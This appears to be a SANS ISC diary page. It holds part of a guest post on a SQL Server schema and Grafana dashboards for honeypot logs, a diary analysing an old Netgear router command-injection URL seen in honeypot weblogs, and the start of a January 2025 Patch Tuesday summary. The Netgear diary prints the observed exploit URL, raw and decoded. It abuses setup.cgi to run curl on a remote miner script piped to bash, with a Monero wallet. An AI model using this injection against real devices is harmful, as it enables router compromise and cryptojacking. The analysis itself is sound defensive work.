CREATE INDEX IX_Logs_Honeypot_SourceID
ON [Logs].[Honeypot]([SourceID]);
-- =============================================
-- Title: Logs - Firewall
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: Logs
-- Type: Table
-- Description:
-- Table containing all Firewall Logs
-- =============================================
CREATE TABLE [Logs].[Firewall](
[LogID] INT IDENTITY(1,1) NOT NULL,
[LogTimestamp] DATETIME2(7) NOT NULL,
[SourceID] INT NOT NULL,
[SourcePort] INT NOT NULL,
[TargetID] INT NOT NULL,
[TargetPort] INT NOT NULL,
[Protocol] INT NOT NULL,
CONSTRAINT FK_Logs_Firewall_Source FOREIGN KEY ([SourceID])
REFERENCES [IPAddress].[Addresses]([Id]),
CONSTRAINT FK_Logs_Firewall_Target FOREIGN KEY ([TargetID])
REFERENCES [IPAddress].[Addresses]([Id]),
CONSTRAINT FK_Logs_Firewall_Protocol FOREIGN KEY ([Protocol])
REFERENCES [Reference].[Protocols]([Number])
);
-- =============================================
-- Title: Logs - RawSSH
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: Logs
-- Type: Table
-- Description:
-- Table containing all SSH Logs
-- =============================================
CREATE TABLE [Logs].[RawSSH](
[LogID] INT IDENTITY(1,1) NOT NULL,
[LogTimestamp] DATETIME2(7) NOT NULL,
[SourceID] INT NOT NULL,
[SourcePort] INT NOT NULL,
[UsernameID] INT NOT NULL,
[PasswordID] INT NOT NULL,
CONSTRAINT FK_Logs_RawSSH_Source
FOREIGN KEY ([SourceID])
REFERENCES [IPAddress].[Addresses]([Id]),
CONSTRAINT FK_Logs_RawSSH_Username
FOREIGN KEY ([UsernameID])
REFERENCES [Rolodex].[Usernames]([Id]),
CONSTRAINT FK_Logs_RawSSH_Password
FOREIGN KEY ([PasswordID])
REFERENCES [Rolodex].[Passwords]([Id]),
);
CREATE INDEX IX_Logs_RawSSH_LogTimestamp
ON [Logs].[RawSSH]([LogTimestamp]);
CREATE INDEX IX_Logs_RawSSH_SourceID
ON [Logs].[RawSSH]([SourceID]);
-- =============================================
-- Title: Rolodex - Fingerprint
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: Rolodex
-- Type: Table
-- Description:
-- Table to store unique fingerprints as binary (All)
-- =============================================
CREATE TABLE [Rolodex].[Fingerprints] (
[Id] INT IDENTITY(1,1) PRIMARY KEY NOT NULL,
[Value] VARBINARY(16) NOT NULL UNIQUE
);
-- Index on Fingerprint to prevent duplicates
CREATE INDEX IX_Rolodex_Fingerprints_Value ON [Rolodex].[Fingerprints]([Value]);
GO
-- =============================================
-- Title: Rolodex - Fingerprint To Binary
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: Rolodex
-- Type: Scalar Function
-- Description:
-- Convert a fingerprint of form
-- '01:23:45:67:89:ab:cd:ef:01:23:45:67:89:ab:cd:ef'
-- to binary
-- =============================================
CREATE FUNCTION [Rolodex].[FingerprintToBinary]
(@Fingerprint VARCHAR(255))
RETURNS VARBINARY(16)
AS
BEGIN
DECLARE @Clean VARCHAR(32);
-- Remove colons and ensure lowercase
SET @Clean = LOWER(REPLACE(@Fingerprint, ':', ''));
-- Convert hex string to binary
RETURN CAST('' AS XML).value('xs:hexBinary(sql:variable("@Clean"))', 'VARBINARY(16)');
END;
-- =============================================
-- Title: Rolodex - Fingerprint From Binary
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: Rolodex
-- Type: Scalar Function
-- Description:
-- Convert a binary representation of a
-- fingerprint back to form
-- '01:23:45:67:89:ab:cd:ef:01:23:45:67:89:ab:cd:ef'
-- from binary
-- =============================================
CREATE FUNCTION [Rolodex].[FingerprintFromBinary]
(@Binary VARBINARY(16))
RETURNS VARCHAR(47)
AS
BEGIN
DECLARE @HexString VARCHAR(32);
-- Convert binary to hex string
SET @HexString = LOWER(
CAST('' AS XML).value(
'xs:hexBinary(sql:variable("@Binary"))',
'VARCHAR(32)')
);
-- Insert colons every 2 characters
RETURN STUFF(
(
SELECT ':' + SUBSTRING(@HexString, Number, 2)
FROM (
SELECT ROW_NUMBER() OVER (ORDER BY object_id)
FROM sys.objects
) AS Numbers(Number)
WHERE Number % 2 = 1
AND Number <= LEN(@HexString)
FOR XML PATH('')
), 1, 1, ''
);
END;
So, what makes INT IDENTITY(1,1) PRIMARY KEY
special, if it’s such a bad practice? What’s the use of having a lookup table for RFC numbers, or an entire schema called Reference that exists solely to provide constants or points of reference that attach data to real world standards, or observed reality? Using the keyword IDENTITY(1,1)
ties a piece of data to a specified (and indexed!) location on disk, causing faster read performance. The point of having data in the first place is to make use of it. The point of having a highly regimented data warehouse adhering to strict standards is to ensure a level of confidence in the results of analysis. The point of having fast read performance and memory optimized data structures sitting in that data warehouse is to put a GPU to work and use the machine learning tools refined over the last 20 years to solve real world problems. Automate the boring stuff, right?
Those are some bold statements. Looking at the hardware available, by using INT
instead of BIGINT,
this enables the use of the highest efficiency training methods to identify patterns in honeypot logs, while supporting the fastest reads possible. More importantly, it enables amateur sleuths to skip building servers in favor of simply performing analysis or deep learning tasks on the same commonly available commodity hardware they used to read the paper this morning. A 32 bit address space of about 4 billion possibilities sounds like a lot, and would be incompatible with the comparatively limited size of a 16 bit floating point type, except that many of the reference tables contain significantly fewer than 65,535 entries. The tables which do contain more can be windowed and remapped to that size.
Even an IPv6 address can be mapped to a series of TINYINT
columns in a Pandas dataframe before being fed into Dask.
This might sound far-fetched, but that’s the direction the world is headed: AI/ML models being trained or performing live tasks at the edge, or more commonly, in local devices as opposed to training and executing on purpose built servers in cloud datacenters. Intel has invested heavily in this with the OpenVINO toolkit [12], which currently supports INT8
, and partially supports INT4
. The target market they’re shaping appears to be FPGA-centric, since Intel retains a competitive advantage in the segment despite Xilinx’s decades of success and innovation in that space. The competitors (AMD, Nvidia) are more focused on white hot GPU sales as it is, and FPGA offers an impressive combination of speed, computational capability, and minimal power requirements despite the current price issues with that class of silicon.
In The Meantime…
Now, it wouldn’t make any sense to go to all this effort without a good visualization or monitoring option, which is why I used Grafana [14]. Half of that is because it’s a platform I’ve worked with for years, the other half is that it had prebuilt integrations for the exact set of tools used in this project, with options to trade them out relatively easily, should the underlying infrastructure change.
Since the machine learning and advanced analytics components don’t exist yet, there has to be some way to extract value from all this effort, right? To start, we’ve covered the database extensively, but not the continuous performance metrics, and what kind of load it places on a system by humming in the background. Here’s some screenshots of the freely available SQL Server monitoring dashboard in Grafana Open Source. When this was captured, I was in the middle of loading several million log entries, and the upsert
commands are causing table locks across the board, leading to degraded performance.
For the unfamiliar, an upsert
procedure is a way to protect the integrity of your data at the cost of some performance. In the process of building this project, I relied on them as a guardrail to minimize, if not fully prevent duplicate entries in the log tables while the model was still under construction and testing. The basic formula of the operation is to accept a set of parameters, check them against various tables or constants, insert the data into the correct place, and return some identifier for the record. If a conflicting or duplicate entry is found, return the identifier instead. Here’s the bare basic example to upsert an IP Address to the table defined earlier that has acted as a great guardrail for me during testing.
-- =============================================
-- Title: IPAddress - Upsert IP Address
-- Author: Curtis Dibble
-- Date: 12/14/2024
-- Schema: IPAddress
-- Type: Stored Procedure
-- Description:
-- Upsert a (Single) VARCHAR(45) IPv4 or
-- IPv6 Address to the IP Address table and
-- store it as a VARBINARY(16) item
-- =============================================
CREATE PROCEDURE [IPAddress].[UpsertAddress] @Value VARCHAR(45),@ID INT OUTPUT AS
BEGIN
SET NOCOUNT ON;
DECLARE @IPBinary VARBINARY(16) = [IPAddress].[ToBinary](@Value);
-- Try to find existing IP
SELECT @ID = [Id]
FROM [IPAddress].[Addresses]
WHERE [Value] = @IPBinary;
-- Insert if not found
IF @ID IS NULL
BEGIN
INSERT INTO [IPAddress].[Addresses] ([Value]) VALUES (@IPBinary);
SET @ID = SCOPE_IDENTITY();
END
END;
That’s most of the relevant code. The rest can be found on GitHub from the link in the references. The overall idea here was to leave the boring and repetitive stuff up to the computer and get back to finding bad actors on the open web. So before embarking on building your own version or trying to reinvent the wheel, here’s some previews of what exists, and a few ideas of what’s possible with a local install of Grafana and what’s been presented so far.
The first item on any professional’s list is keeping an eye on their tools, and knowing what’s happening in real time. This is the freely available SQL Server monitoring dashboard for Grafana. It significantly outperforms the built in SQL Server Management Studio monitoring tools from what I’ve seen.
Figure 12: Main dashboard for SQL server monitoring. Few things in life are better than the ability to get the information you need in a single place, without having to shift gears to find it [15].
Considering that the database is monitored now, the question was always how does this scale to handle more than one honeypot, or even a list of them, spread across multiple sites or cloud providers? Fortunately, when it comes to the major cloud providers, other professionals have put in the time and effort to release high quality observability tools. This is the freely available Azure Virtual Machine and Infrastructure monitoring dashboard. Just like the SQL Server dashboard, adding it to a Grafana instance is essentially copying/pasting a single string into the web interface.
Figure 13: For my instance, the honeypot was setup on Azure, and there’s a conveniently available infrastructure and virtual machine monitoring dashboard available. [16] A word of caution, Azure permissions are not the easiest thing to configure when self hosting a Grafana instance. This includes a preview of the stats provided. A similar tool exists for most major operators.
Figure 14: Network statistics provided by Azure.
Figure 15: Disk I/O statistics provided by Azure.
Figure 16: CPU Usage statistics provided by Azure.
All of that shows our tools, but to see what adversaries are up to, we actually have to use the database and load it with some historical data. It will trickle in eventually as it’s loaded, but seeing what a well populated instance looks like is always a useful way to benchmark your own.
Figure 17: One of the most interesting aspects of building this from scratch, was being able to experiment with other people’s implementations of classic visualizations. The most effective, and best looking at scale has to be the heatmap. This is a breakdown of Cowrie Input/Success/Failed Command Logs across Azure, AWS, GCP from 10/31/24-11/7/24. Notice the clean break not long after Halloween?
Figure 18: Each column can be filtered, which is done Grafana-side using the cache and limiting query volume. Not important for the first several hundred thousand records. Incredibly important after several million.
Cui Bono?
To anyone that has read this far, thank you. Because now we have to figure out who benefits from this endeavor. Given all of the above, many of the more advanced features still need to be built, and this is more of a foundation for a change than a revolution on its own. I’m short on time, and releasing this to the community as a starting point to follow whatever hunch they’ve been meaning to run down. Maybe someone can solve some hard problems that are completely unrelated. I have no idea what will come of it, but if nothing else, it’s my goal that someone can use this as a jumping off point to learn a new thing.
Final Thoughts
Before anyone jumps to conclusions about having contradicted myself earlier, and the perils of vendor lock-in leaving Microsoft as the big winner in this, what I have written so far is explicitly designed to stay under the 10GB SQL Server Express limit for as long as possible. It’s as close to the ANSI standard [17] as I was able to figure out with relatively limited time, and that’s for a fairly decent reason. Cybersecurity is hard. Picking patterns out of chaos is mentally taxing, and emotionally exhausting. The ANSI standard is important, because it means that this will translate to other relational database systems, such as vanilla PostgreSQL, or allow use of some of the more interesting extensions like TimescaleDB [18] and PG Vector [19], to enable machine learning operations without building interfaces by hand, or suffering the overhead of exporting data and re-vectorizing before building training loops in PyTorch/Tensorflow.
That all deals with scaling up to industrial operations, but what if we went the other direction, and scaled down? The team at Turso undertook a rewrite of SQLite3 in Rust to bring in some of the more modern features such as async/await patterns, and a more open test-suite in the libSQL project [20]. I see no reason why there couldn’t be a default or pre-baked SQLite3/libSQL database as a single file full of known urls, endpoints, and other gems if for no other reason than to simplify the nightmare of building a unique extract-transform-load pipeline for every new document type containing indicators of compromise, especially for ones that don’t happen to conform to STIX/TAXII/Yara schemas.
To close this out, I leave translations, optimizations, and general experimention up to the end user. I hope it will be beneficial or useful to someone out there. Thanks for following along.
References
- https://www.sans.edu/cyber-security-programs/bachelors-degree/
- Dell - Alienware m16 R2 Laptop - https://www.dell.com/en-us/shop/dell-laptops/alienware-m16-r2-gaming-laptop/spd/alienware-m16-r2-laptop
- In Defense of Not-Invented-Here Syndrome https://www.joelonsoftware.com/2001/10/14/in-defense-of-not-invented-here-syndrome/
- Primeagen - Not Invented Here Syndrome – https://youtu.be/uAFy0x3LRBU?si=1tDvaFKGGTNjWg8o
- SANS ISC - Using Zeek, Snort, and Grafana to Detect Crypto Mining Malware https://isc.sans.edu/diary/Guest+Diary+Using+Zeek+Snort+and+Grafana+to+Detect+Crypto+Mining+Malware/31472/
- GitHub - DShield-SIEM - https://github.com/bruneaug/DShield-SIEM/tree/main
- SANS ISC - DShield Sensor Monitoring with a Docker ELK Stack - https://isc.sans.edu/diary/DShield+Sensor+Monitoring+with+a+Docker+ELK+Stack+Guest+Diary/30118
- Elastic - ELK Stack - https://www.elastic.co/elastic-stack
- IBM - QRadar - https://www.ibm.com/qradar
- O’Reilly - Joe Celko’s SQL for Smarties - https://www.oreilly.com/library/view/joe-celkos-sql/9780128007617/
- O’Reilly - Joe Celko’s Trees and Hierarchies in SQL for Smarties - https://www.oreilly.com/library/view/joe-celkos-trees/9780123877338/
- Microsoft - SQL Server Technical Documentation - https://learn.microsoft.com/en-us/sql/sql-server/?view=sql-server-ver16
- Intel – OpenVINO Toolkit - https://www.intel.com/content/www/us/en/developer/tools/openvino-toolkit/overview.html
- Grafana - OSS - https://grafana.com/oss/grafana/
- Grafana – Microsoft SQL Server Dashboard - https://grafana.com/grafana/dashboards/21378-microsoft-sql-server-dashboard/
- Grafana - Azure Virtual Machine Dashboard - https://grafana.com/grafana/dashboards/10532-azure-virtual-machine/
- ANSI – SQL Standard ISO/IEC 9075:2023 - https://blog.ansi.org/sql-standard-iso-iec-9075-2023-ansi-x3-135/
- GitHub - Timescale DB PostgreSQL Extension - https://github.com/timescale/timescaledb
- GitHub - PG Vector PostgreSQL Extension - https://github.com/pgvector/pgvector
- GitHub - libSQL SQLite Rewrite - https://github.com/tursodatabase/libsql
- Github - The Code - https://github.com/maxwell2011/DShield-Database/tree/master
--
Jesse La Grew
Handler
0 Comments
The Curious Case of a 12-Year-Old Netgear Router Vulnerability
Routers play an essential role in networking and are one of the key components that allow users to have internet connectivity. Vulnerabilities in routers could result in reduced speeds or the possibility of vulnerable equipment being compromised and turned into part of a botnet. While looking at the DShield weblogs, I noticed an interesting URL in the “First Seen” URLs page as follows:
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=curl+-s+-L+https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh+%7C+bash+-s+4BELisShpWq7UJ2SVTStscdhKjFtYn26qDDhdr9czQWo422PYQjUsv5KygQFhyNg9hEuTN4zz2szgCj5hwSwDw
As usual, let us make it more human-readable via Cyberchef’s URL Decode recipe or Burp Suite’s Decoder:
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 4BELisShpWq7UJ2SVTStscdhKjFtYn26qDDhdr9czQWo422PYQjUsv5KygQFhyNg9hEuTN4zz2szgCj5hwSwDw
We can observe a few artifacts that appear banal at first but get pretty interesting after some thought and correlation of data. Firstly, the URL “/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=
” is associated with a 12-year-old Netgear vulnerability that was first reported by Roberto Paleari [1, 2] in May 2013. The vulnerability, with a CVSS 3.1 score of 9.8, affects the Netgear DGN1000, firmware < 1.1.00.48 and Netgear DGN2000 v1 routers. Netgear no longer supports these routers [3], and the vulnerability is pretty serious since it allows authentication bypass and command injection. A check with DShield’s URL history (with reference to Figure 1, note that the searched URL is a subset of the First Seen URL) shows that it remains a favorite URL despite its relatively old age.
Figure 1: URL History for URL Associated with Netgear Router Vulnerability (CVE-2024-12847)
Yet another interesting observation you would have made (or maybe take a second look at Figure 1’s caption) was that this vulnerability was only formally registered in the CVE database in 2024 although it was first disclosed in May 2013, and the corresponding CVE entry was published recently on January 10, 2025 [4].
Finally, let us discuss the elephant in the room. I am unsure why anyone would choose to install a cryptocurrency miner on a router that is around 16 years old (based on FCC database records of Netgear DGN1000 [5]). After careful examination of the associated FCC documents, the processor for the Netgear DGN1000 router was the Infineon AMAZON-SE PSB 50601 HL V1.2 chip. Official processor benchmarks for this chip were unavailable, but the processor would likely not be very performant in cryptocurrency mining. In any case, we can observe a Monero wallet address (4BELisShpWq7UJ2SVTStscdhKjFtYn26qDDhdr9czQWo422PYQjUsv5KygQFhyNg9hEuTN4zz2szgCj5hwSwDw) being included as part of the URL being sent.
I want to think that it is unlikely that anyone is still using the affected Netgear routers due to age. However, the DShield weblogs show that it is still a popular attack vector (no doubt, as it bypasses authentication and allows command injection remotely). Since it is a day just after Microsoft’s Patch Tuesday, why not check on your routers and see if they are up to date and patched with the latest firmware provided by the manufacturer? If you’re visiting friends and family, checking on them and seeing if their routers are updated or require new ones could also be worthwhile. Better yet, as Johannes has suggested in a previous post [6], consider using an open-source router such as pfSense or OPNsense that can help improve your network visibility and cybersecurity posture.
Indicators-of-Compromise (IoCs):
4BELisShpWq7UJ2SVTStscdhKjFtYn26qDDhdr9czQWo422PYQjUsv5KygQFhyNg9hEuTN4zz2szgCj5hwSwDw (Monero (XMR) Wallet Address)
Addendum: A reader reported that Norton Antivirus flagged the SANS ISC website as a dangerous webpage, under the threat category of BV:Miner-FE [Drp]
. This is a false positive detection.
References:
1. https://seclists.org/bugtraq/2013/Jun/8
2. https://www.exploit-db.com/exploits/25978
3. https://www.netgear.com/support/product/dgn1000/
4. https://nvd.nist.gov/vuln/detail/CVE-2024-12847#VulnChangeHistorySection
5. https://fccid.io/PY309300114
6. https://isc.sans.edu/diary/Whats+the+deal+with+these+router+vulnerabilities/29288
-----------
Yee Ching Tok, Ph.D., ISC Handler
Personal Site
Mastodon
Twitter
0 Comments
Microsoft January 2025 Patch Tuesday
This month's Microsoft patch update addresses a total of 209 vulnerabilities, including 12 classified as critical. Among these, 3 vulnerabilities have been actively exploited in the wild, and 5 have been disclosed prior to the patch release, marking them as zero-days. The updates span various components, with significant attention required for vulnerabilities that could lead to privilege escalation and remote code execution. Users and administrators are strongly advised to prioritize the application of these patches to safeguard against potential threats and maintain system integrity.
Noteworthy Vulnerabilities:
Windows Hyper-V NT Kernel Integration VSP Elevation of Privilege Vulnerability (CVE-2025-21333) along with CVE-2025-21334 and CVE-2025-21335 are a serious security issue that has been exploited in the wild, although it has not been publicly disclosed. This vulnerability has a CVSS score of 7.8 and is rated as Important due to its potential impact, which allows an attacker to gain SYSTEM privileges through elevation of privilege. The vulnerability affects the Windows Hyper-V NT Kernel Integration VSP, and successful exploitation could lead to significant security breaches. Users and administrators are advised to apply any available patches or mitigation strategies to protect against potential attacks leveraging this vulnerability.
Microsoft Access Remote Code Execution Vulnerability (CVE-2025-21186) is a disclosed zero-day vulnerability with a severity rating of Important and a CVSS score of 7.8, though it is not currently being exploited in the wild. This vulnerability allows for remote code execution, where an attacker can execute arbitrary code on a victim's machine by convincing them, through social engineering, to download and open a specially crafted file. Despite the attack vector being local, the term "Remote" in the title refers to the attacker's location. The vulnerability poses a significant risk as it could lead to unauthorized code execution on affected systems. The recommended remediation involves applying the update that blocks potentially malicious extensions from being sent via email, thereby mitigating the risk of exploitation.
Windows App Package Installer Elevation of Privilege Vulnerability (CVE-2025-21275) is a disclosed zero-day vulnerability with a severity rating of Important and a CVSS score of 7.8. Although it has not been exploited in the wild, this vulnerability poses a significant risk as it allows an attacker to gain SYSTEM privileges through elevation of privilege. The vulnerability affects the Windows App Package Installer, and successful exploitation could lead to unauthorized access and control over affected systems. Users and administrators are advised to apply necessary patches and follow security best practices to mitigate potential risks associated with this vulnerability.
Microsoft Access Remote Code Execution Vulnerability (CVE-2025-21366) is a disclosed zero-day vulnerability with a severity rating of Important and a CVSS score of 7.8, although it is not currently exploited in the wild. This vulnerability allows for remote code execution, where an attacker can execute arbitrary code on a victim's system by convincing them to download and open a specially crafted file, despite the attack vector being local. The vulnerability is mitigated by updates that block potentially malicious extensions from being sent via email, thereby preventing the execution of harmful code.
Microsoft Access Remote Code Execution Vulnerability (CVE-2025-21395) is a disclosed zero-day vulnerability with a severity rating of Important and a CVSS score of 7.8, though it is not currently being exploited in the wild. This vulnerability allows for remote code execution, where an attacker, located remotely, can execute arbitrary code on a victim's machine by convincing them to download and open a specially crafted file, despite the attack vector being local. The vulnerability is mitigated by an update that blocks potentially malicious extensions from being sent via email, thereby preventing the execution of harmful code.
Windows Themes Spoofing Vulnerability (CVE-2025-21308) is a disclosed zero-day vulnerability with a severity rating of Important and a CVSS score of 6.5, though it is not currently exploited in the wild. This spoofing vulnerability requires user interaction, where an attacker must convince a user to load and manipulate a malicious file, typically through enticements in emails or instant messages. Systems that have disabled NTLM are not affected, and mitigation strategies include applying group policies to block NTLM hashes. Specifically, enabling the policy to restrict NTLM traffic to remote servers can mitigate this issue for remote SMB location clients or servers. This vulnerability highlights the importance of secure configurations and user awareness to prevent potential exploitation.
Windows OLE Remote Code Execution Vulnerability (CVE-2025-21298) is a critical vulnerability with a CVSS score of 9.8, which has not been exploited in the wild nor disclosed publicly, making it a potential zero-day threat. This vulnerability allows for remote code execution, posing a significant risk if exploited. An attacker could leverage this vulnerability in an email attack scenario by sending a specially crafted email to a victim using an affected version of Microsoft Outlook. The attack could be triggered either by the victim opening the email or by the Outlook application displaying a preview of it, potentially allowing the attacker to execute arbitrary code on the victim's machine. Object Linking and Embedding (OLE), the technology involved, facilitates embedding and linking to documents and other objects, which is central to this vulnerability's exploitation method.
Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability (CVE-2025-21307) is a critical vulnerability with a CVSS score of 9.8, which has not been exploited in the wild nor disclosed publicly as a zero-day. This vulnerability allows an unauthenticated attacker to execute remote code by sending specially crafted packets to a Windows Pragmatic General Multicast (PGM) open socket on the server, without requiring any user interaction. The vulnerability is only exploitable if there is a program actively listening on a PGM port. To mitigate this risk, it is recommended to protect access to any open PGM ports at the network level, such as using a firewall, and to avoid exposing a PGM receiver to the public internet.
This summary of Microsoft's monthly updates highlights critical vulnerabilities requiring immediate attention. Notably, the Windows Hyper-V NT Kernel Integration VSP vulnerabilities (CVE-2025-21333, CVE-2025-21334, CVE-2025-21335) are being actively exploited, posing significant risks through privilege elevation. Users should prioritize patching these vulnerabilities to prevent potential system breaches. Additionally, the Windows OLE and RMCAST vulnerabilities, both with a CVSS score of 9.8, present severe remote code execution threats. Although not currently exploited, they demand urgent mitigation to safeguard systems. Applying patches and implementing network-level protections are crucial steps to mitigate these risks effectively.
January 2025 Security Updates
January 2025 Security Updates
Description | |||||||
---|---|---|---|---|---|---|---|
CVE | Disclosed | Exploited | Exploitability (old versions) | current version | Severity | CVSS Base (AVG) | CVSS Temporal (AVG) |
.NET Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21173%% | No | No | - | - | Important | 7.3 | 6.4 |
.NET Remote Code Execution Vulnerability | |||||||
%%cve:2025-21171%% | No | No | - | - | Important | 7.5 | 6.5 |
.NET and Visual Studio Remote Code Execution Vulnerability | |||||||
%%cve:2025-21172%% | No | No | - | - | Important | 7.5 | 6.5 |
.NET, .NET Framework, and Visual Studio Remote Code Execution Vulnerability | |||||||
%%cve:2025-21176%% | No | No | - | - | Important | 8.8 | 7.7 |
Active Directory Domain Services Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21293%% | No | No | - | - | Important | 8.8 | 7.7 |
Active Directory Federation Server Spoofing Vulnerability | |||||||
%%cve:2025-21193%% | No | No | - | - | Important | 6.5 | 5.7 |
Azure Marketplace SaaS Resources Information Disclosure Vulnerability | |||||||
%%cve:2025-21380%% | No | No | - | - | Critical | 8.8 | 7.9 |
BranchCache Remote Code Execution Vulnerability | |||||||
%%cve:2025-21296%% | No | No | - | - | Critical | 7.5 | 6.5 |
Cert CC: CVE-2024-7344 Howyar Taiwan Secure Boot Bypass | |||||||
%%cve:2024-7344%% | No | No | - | - | Important | 6.7 | 5.8 |
GDI+ Remote Code Execution Vulnerability | |||||||
%%cve:2025-21338%% | No | No | - | - | Important | 7.8 | 6.8 |
GitHub: CVE-2024-50338 Malformed URL allows information disclosure through git-credential-manager | |||||||
%%cve:2024-50338%% | No | No | - | - | Important | 7.4 | 6.4 |
IP Helper Denial of Service Vulnerability | |||||||
%%cve:2025-21231%% | No | No | - | - | Important | 7.5 | 6.5 |
Internet Explorer Remote Code Execution Vulnerability | |||||||
%%cve:2025-21326%% | No | No | - | - | Important | 7.8 | 6.8 |
MapUrlToZone Security Feature Bypass Vulnerability | |||||||
%%cve:2025-21268%% | No | No | - | - | Important | 4.3 | 3.9 |
%%cve:2025-21219%% | No | No | - | - | Important | 4.3 | 3.8 |
%%cve:2025-21329%% | No | No | - | - | Important | 4.3 | 3.8 |
%%cve:2025-21328%% | No | No | - | - | Important | 4.3 | 3.8 |
%%cve:2025-21189%% | No | No | - | - | Important | 4.3 | 3.9 |
%%cve:2025-21332%% | No | No | - | - | Important | 4.3 | 3.8 |
Microsoft Access Remote Code Execution Vulnerability | |||||||
%%cve:2025-21366%% | Yes | No | - | - | Important | 7.8 | 6.8 |
%%cve:2025-21395%% | Yes | No | - | - | Important | 7.8 | 6.8 |
%%cve:2025-21186%% | Yes | No | - | - | Important | 7.8 | 6.8 |
Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21360%% | No | No | - | - | Important | 7.8 | 7.1 |
Microsoft Brokering File System Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21315%% | No | No | - | - | Important | 7.8 | 6.8 |
%%cve:2025-21372%% | No | No | - | - | Important | 7.8 | 6.8 |
Microsoft COM for Windows Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21281%% | No | No | - | - | Important | 7.8 | 6.8 |
Microsoft DWM Core Library Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21304%% | No | No | - | - | Important | 7.8 | 6.8 |
Microsoft Digest Authentication Remote Code Execution Vulnerability | |||||||
%%cve:2025-21294%% | No | No | - | - | Critical | 8.1 | 7.1 |
Microsoft Excel Remote Code Execution Vulnerability | |||||||
%%cve:2025-21354%% | No | No | - | - | Critical | 7.8 | 6.8 |
%%cve:2025-21362%% | No | No | - | - | Critical | 7.8 | 7.1 |
Microsoft Excel Security Feature Bypass Vulnerability | |||||||
%%cve:2025-21364%% | No | No | - | - | Important | 7.8 | 6.8 |
Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability | |||||||
%%cve:2025-21251%% | No | No | - | - | Important | 7.5 | 6.5 |
%%cve:2025-21270%% | No | No | - | - | Important | 7.5 | 6.5 |
%%cve:2025-21277%% | No | No | - | - | Important | 7.5 | 6.5 |
%%cve:2025-21285%% | No | No | - | - | Important | 7.5 | 6.5 |
%%cve:2025-21289%% | No | No | - | - | Important | 7.5 | 6.5 |
%%cve:2025-21290%% | No | No | - | - | Important | 7.5 | 6.5 |
%%cve:2025-21230%% | No | No | - | - | Important | 7.5 | 6.5 |
Microsoft Message Queuing Information Disclosure Vulnerability | |||||||
%%cve:2025-21220%% | No | No | - | - | Important | 7.5 | 6.5 |
Microsoft Office OneNote Remote Code Execution Vulnerability | |||||||
%%cve:2025-21402%% | No | No | - | - | Important | 7.8 | 7.1 |
Microsoft Office Remote Code Execution Vulnerability | |||||||
%%cve:2025-21365%% | No | No | - | - | Important | 7.8 | 6.8 |
Microsoft Office Security Feature Bypass Vulnerability | |||||||
%%cve:2025-21346%% | No | No | - | - | Important | 7.1 | 6.2 |
Microsoft Office Visio Remote Code Execution Vulnerability | |||||||
%%cve:2025-21345%% | No | No | - | - | Important | 7.8 | 6.8 |
%%cve:2025-21356%% | No | No | - | - | Important | 7.8 | 6.8 |
Microsoft Outlook Remote Code Execution Vulnerability | |||||||
%%cve:2025-21357%% | No | No | - | - | Important | 6.7 | 5.8 |
%%cve:2025-21361%% | No | No | - | - | Important | 7.8 | 7.1 |
Microsoft Power Automate Remote Code Execution Vulnerability | |||||||
%%cve:2025-21187%% | No | No | - | - | Important | 7.8 | 6.8 |
Microsoft Purview Information Disclosure Vulnerability | |||||||
%%cve:2025-21385%% | No | No | - | - | Critical | 8.8 | 7.7 |
Microsoft SharePoint Server Remote Code Execution Vulnerability | |||||||
%%cve:2025-21344%% | No | No | - | - | Important | 7.8 | 7.1 |
%%cve:2025-21348%% | No | No | - | - | Important | 7.2 | 6.3 |
Microsoft SharePoint Server Spoofing Vulnerability | |||||||
%%cve:2025-21393%% | No | No | - | - | Important | 6.3 | 5.5 |
Microsoft Word Remote Code Execution Vulnerability | |||||||
%%cve:2025-21363%% | No | No | - | - | Important | 7.8 | 7.1 |
On-Premises Data Gateway Information Disclosure Vulnerability | |||||||
%%cve:2025-21403%% | No | No | - | - | Important | 6.4 | 5.9 |
SPNEGO Extended Negotiation (NEGOEX) Security Mechanism Remote Code Execution Vulnerability | |||||||
%%cve:2025-21295%% | No | No | - | - | Critical | 8.1 | 7.1 |
Secure Boot Security Feature Bypass Vulnerability | |||||||
%%cve:2025-21215%% | No | No | - | - | Important | 4.6 | 4.0 |
%%cve:2025-21211%% | No | No | - | - | Important | 6.8 | 5.9 |
%%cve:2025-21213%% | No | No | - | - | Important | 4.6 | 4.0 |
Visual Studio Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21405%% | No | No | - | - | Important | 7.3 | 6.4 |
Visual Studio Remote Code Execution Vulnerability | |||||||
%%cve:2025-21178%% | No | No | - | - | Important | 8.8 | 7.7 |
Windows App Package Installer Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21275%% | Yes | No | - | - | Important | 7.8 | 6.8 |
Windows BitLocker Information Disclosure Vulnerability | |||||||
%%cve:2025-21210%% | No | No | - | - | Important | 4.2 | 3.7 |
%%cve:2025-21214%% | No | No | - | - | Important | 4.2 | 3.7 |
Windows COM Server Information Disclosure Vulnerability | |||||||
%%cve:2025-21272%% | No | No | - | - | Important | 6.5 | 5.7 |
%%cve:2025-21288%% | No | No | - | - | Important | 6.5 | 5.7 |
Windows CSC Service Elevation of Privilege Vulnerability | |||||||
%%cve:2025-21378%% | No | No | - | - | Important | 7.8 | 6.8 |
Windows CSC Service Information Disclosure Vulnerability | |||||||
%%cve:2025-21374%% | No | No | - | - | Important | 5.5 | 4.8 |
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability | |||||||
